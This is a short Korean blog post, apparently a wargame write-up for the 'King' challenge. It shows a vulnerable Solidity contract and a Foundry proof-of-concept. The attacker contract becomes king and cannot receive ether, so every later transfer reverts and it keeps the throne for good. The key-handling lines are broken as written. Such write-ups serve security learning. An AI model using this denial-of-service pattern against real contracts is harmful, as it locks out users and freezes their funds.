킹..

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

PoC

돈을 받지 못해 transfer 함수 호출이 거부되므로 king을 계속 유지할 수 있습니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";

interface IKing {
    function prize() external view returns (uint256);
}

contract attack {
    constructor(address payable target) payable {
        target.call{value: msg.value}("");
    }
}

contract exploit is Script {
    function run() public {
        uint256 pk = pk;
        address addr = 0x612fE2418bB97C220Cc8F63Cc95E3261d4664CD9; 

        vm.startBroadcast(privateKey);

        new attack{value: 0.0010001 ether}(payable(addr));

        vm.stopBroadcast();
    }
}

'wargame' 카테고리의 다른 글

Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
Fallback  (0) 2024.11.12

+ Recent posts